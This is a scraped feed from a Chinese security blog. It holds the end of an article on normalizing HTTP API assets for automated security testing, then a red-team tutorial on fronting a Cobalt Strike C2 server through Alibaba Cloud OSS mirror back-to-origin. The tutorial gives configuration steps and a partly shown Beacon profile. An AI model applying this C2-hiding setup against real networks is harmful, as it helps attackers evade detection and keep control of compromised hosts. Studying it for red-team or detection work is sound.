wrap;"><strong>资产定义</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">不同于白盒的可以直接解析代码获取路由，灰盒中的注入 AbstractHandlerMethodMapping 里面拿完整的接口类的思路，黑盒视角来看，我认为只要后端的处理逻辑不同，哪怕是在同一个方法中，也是不同的资产，每个逻辑都应该覆盖扫描到。举个例子，下图代码中虽然在一个方法中，但代码根据 action 参数值的不同指向了不同的处理逻辑，黑盒中我认为是三条不同的资产。</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000707" data-ratio="0.48005698005698005" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="702" src="https://wechat2rss.xlab.app/img-proxy/?k=5aa60b14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjSFacGvR6ekj7fq97XgJAz17bAqIFAzGvX0icARuMBJ4ZASg2WxWZbicLSPHNkLQHmRDJuSVk7zianA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">但是 ?id=1&amp;action=read 和 ?action=read&amp;id=1 对于后端来说，是一致的，所以我理解的黑盒视角下资产结构如下所示：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><p><span class="code-snippet_outer">请求方法:协议:域名:端口:URL路径:参数名称排序合集</span></p></pre></p><div style="font-size: 15px;"><p style="text-wrap: wrap;">除此类情况外，通过多层网关进行转发的请求也易出现不同参数指向不同后端的场景。</p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>03</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>资产清洗</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="text-wrap: wrap;"><strong>请求方法：</strong></p><p style="text-wrap: wrap;">同一个路由，不同方法的时候对应的后端逻辑很好理解，比如常见的用请求方法来区分读写行为:</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/file</span> <span class="code-snippet__meta">HTTP/1.1</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span><span class="code-snippet__punctuation">: </span>oss.aliyun.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">PUT</span> <span class="code-snippet__string">/file</span> <span class="code-snippet__meta">HTTP/1.1</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span><span class="code-snippet__punctuation">: </span>oss.aliyun.com</span></p></pre></p><div style="font-size: 15px;"><p style="text-wrap: wrap;">中间部分 <strong>协议:域名:端口</strong> 与常见的资产概念相同，不做赘述, 像 Weblogic 那种做端口复用，同端口不同协议的在业务中比较少见。</p><p style="text-wrap: wrap;"><strong>URL 路径：</strong></p><p style="text-wrap: wrap;">主要处理 <strong>路径变量</strong>、<strong>伪静态 </strong>这类情况，举个例子：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">/api/news/<span class="code-snippet__number">1</span></span></p><p><span class="code-snippet_outer">/api/news/<span class="code-snippet__number">2</span></span></p></pre></p><div style="font-size: 15px;"><p style="text-wrap: wrap;">后端可能如下图代码所示，这两路由显然属于同一个逻辑，做清洗的时候需要识别出 id 这个路径变量，做归一处理。</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000706" data-ratio="0.7583892617449665" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="447" src="https://wechat2rss.xlab.app/img-proxy/?k=67f371df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjSFacGvR6ekj7fq97XgJAzTyic1jlzRSzNEkcZtYYtDuNseialUousUWDlap5zNS2SLzOFIyI0nsDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;"><strong>参数排序集合：</strong></p><p style="text-wrap: wrap;">为什么需要排序在上文中以及提到过，值得一提的是，取参数时应该解析完整的 query、body、formdata、json 。比如 JSON 应该遍历出所有的 JSON key 参与排序。</p><p style="text-wrap: wrap;">基础了解了，下面让我们实践清洗一下资产：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/api/news/1d8544e3-c8a3-96ad-468a-346b638205d7</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/api/news/f75cfe2a-3f41-2769-3f0d-66b8ca995e46</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/api/author/P10086</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/api/author/WB10010</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/api/taskname/shM8VNcx</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/api/taskname/djkoD8Rw</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/html/preview?c81e728d9d4c2f636f067f89cc14862c=f4f59e822581d785ba910fbf3f268eca79db8204&amp;id=2</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/html/preview?665f644e43731ff9db3d341da5c827e1=df2cd7104536553afde9f7d66133d578eccb4606&amp;id=1</span> HTTP/1.1</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: test.com</span></p></pre></p><div style="font-size: 15px;"><p style="text-wrap: wrap;">肉眼望过去，上述请求清洗下来就是5条资产，但后两条显然是同一个资产，这个例子一般用于防缓存，实践中研发有非常多奇奇怪怪的写法会导致一堆脏数据。</p></div><div><p style="text-wrap: wrap;"><strong><span style="font-size: 15px;">加一点清洗处理细节</span></strong></p><ol class="list-paddingleft-1" style="padding-left: 40px;list-style-position: outside;"><li><p><span style="font-size: 15px;">路径处理时不同级路由之间用 <strong>/ </strong>切割开来做<strong> int 、uuid、hash </strong>类识别，并替换成占位符。此类字符结构固定，用正则处理即可。</span></p></li><li><p><span style="font-size: 15px;">递归解析所有嵌套的参数名，同样做字符类型识别，然后再参与去重排序。</span></p></li><li><p><span style="font-size: 15px;">将 <strong>URL路径:参数名称排序合集 </strong>字符切割交给随机字符识别模型进行处理，识别到的随机字符也替换成占位符。</span></p></li><li><p><span style="font-size: 15px;">拼接 <strong>请求方法:协议:域名:端口 </strong>后放入缓存，后续已缓存的则视作重复资产，不再入库。</span></p></li><li><p><span style="font-size: 15px;">重组并重放请求，识别响应是否为 404（主要针对 waf 类可能有脏数据，且无响应详情，业务又无脑响应状态码 200 的无法直接判断的情况）</span></p></li></ol><p style="text-wrap: wrap;"><span style="font-size: 15px;">值得一提的是这里提到的随机字符识别用不上大模型，本质上就是个文本分类问题（区分字符串是随机的，还是有意义的），有非常多成熟的算法和词库，自己训练一个成本很低，CPU 就能上。</span></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>04</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>写在后面</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">实践中在每天几千万访问的请求的业务环境下，Flink 清洗完在一两万条资产，比业务实际接口量多一些，还是挺稳的，很少出现脏数据，结合过往分享过的 fuzz 思路，作为在自动的安全测试流程中的一环，漏洞发现效果还是挺不错的；或者写几条sql查查容易存在漏洞的参数，也能挖到不少漏洞；再或者重放一下所有请求，做敏感信息识别；删掉 cookie 重放做未授权发现；统计一次访问频次，用来发现僵尸接口；怎么玩就看个人发挥了。</p><p style="text-wrap: wrap;">或者换个名词 -- <strong>API 安全</strong>，骗骗自己，唬唬甲方也不是不行<img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=76899f41&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2FYellowdog.png"/></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2da4db74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjSFacGvR6ekj7fq97XgJAzmS3qXOia2G9Of0yIURd9YQEtrDArqvdQjBIuKQuV3MTIaWJnKWp4MfA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ca3a942c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjSFacGvR6ekj7fq97XgJAz17bAqIFAzGvX0icARuMBJ4ZASg2WxWZbicLSPHNkLQHmRDJuSVk7zianA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=53eae615&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjSFacGvR6ekj7fq97XgJAzTyic1jlzRSzNEkcZtYYtDuNseialUousUWDlap5zNS2SLzOFIyI0nsDg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=76899f41&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2FYellowdog.png"/></p>



<p><a href="2247484362">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=86d53dd3&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484362%26idx%3D1%26sn%3Df903fdd29cbbe10e60474da2bc707305">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 May 2024 23:25:00 +0800</pubDate>
    </item>
    <item>
      <title>对抗小技巧：利用阿里云OSS做域前置</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484353&amp;idx=1&amp;sn=b79772c4e36dbb08b09eb8b6405672fe</link>
      <description>对抗小技巧：利用阿里云OSS做域前置</description>
      <content:encoded><![CDATA[<p>
原创 <span>duckbubi</span> <span>2024-05-10 23:43</span> <span style="display: inline-block;">北京</span>
</p>

<p>对抗小技巧：利用阿里云OSS做域前置</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4800fcc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148EvEwFYknDB2RSth057vY75rmnzkdt28AzzEtickGxYKoIVxF7caeH8A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>01</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>简要说明</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div><p style="text-wrap: wrap;">和以往的cdn/云函数做域前置相似，利用oss做前置的只是拓展玩法。</p><p style="text-wrap: wrap;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">利用到的功能</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">特性：OSS是支持回源到自定义地址的，套在c2前面就可以完成域前置操作。</span></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>02</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>配置方法</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p>1.注册bucket并通过镜像回源功能将流量指向c2服务</p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000699" data-ratio="0.7277777777777777" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=971c8b1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148nJId4s0pR54MYmRUHGa7az2OcgPmzOpIAibia4pyibfJDTyXhNdIne9vw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">2.开启bucket公共读权限（方便c2profile中写请求随机文件的情况）</p><p style="text-wrap: wrap;">3.创建aksk每秒删除一次bucket中的文件(避免回源一次oss将文件缓存到bucket中导致不再回源至c2)</p><p style="text-wrap: wrap;">4.修改c2profile中http-post中相关配置，改为通过GET发请求,参考如下 (因为oss不支持POST方法，也没法回源到c2 server)</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer"><span class="code-snippet__meta"># default sleep time is 60s</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__built_in">set</span> sleeptime <span class="code-snippet__string">&#34;60000&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__meta"># jitter factor 0-99% [randomize callback times]</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__built_in">set</span> jitter    <span class="code-snippet__string">&#34;0&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__meta"># indicate that this is the default Beacon profile</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__built_in">set</span> sample_name <span class="code-snippet__string">&#34;Cobalt Strike Beacon (Default)&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__meta"># this is the default profile. Make sure we look like Cobalt Strike<span class="code-snippet__meta-string">&#39;s Beacon payload. (that&#39;</span>s what we are, right?)</span></span></p><p><span class="code-snippet_outer">stage {</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">set</span> stomppe <span class="code-snippet__string">&#34;false&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">set</span> name    <span class="code-snippet__string">&#34;beacon.dll&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%d.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;post&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;cdn.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;www6.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%08x%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%08x%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%08x%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%08x%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s.1%08x.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;api.%x%x.%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;unknown&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not run command (w/ token) because of its length of %d bytes!&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not spawn %s (token): %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not spawn %s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not open process token: %d (%u)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not run %s as %s\\%s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;COMSPEC&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34; /C &#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not upload file: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not open %s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not get file time: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not set file time: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;127.0.0.1&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not connect to pipe (%s): %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not open service control manager on %s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not create service %s on %s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not start service %s on %s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Start servicesservices %s on %s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not query service %s on %s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not delete service %s on %s: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeDebugPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeTcbPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeCreateTokenPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeAssignPrimaryTokenPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeLockMemoryPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeIncreaseQuotaPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeUnsolicitedInputPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeMachineAccountPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeSecurityPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeTakeOwnershipPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeLoadDriverPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeSystemProfilePrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeSystemtimePrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeProfileSingleProcessPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeIncreaseBasePriorityPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span 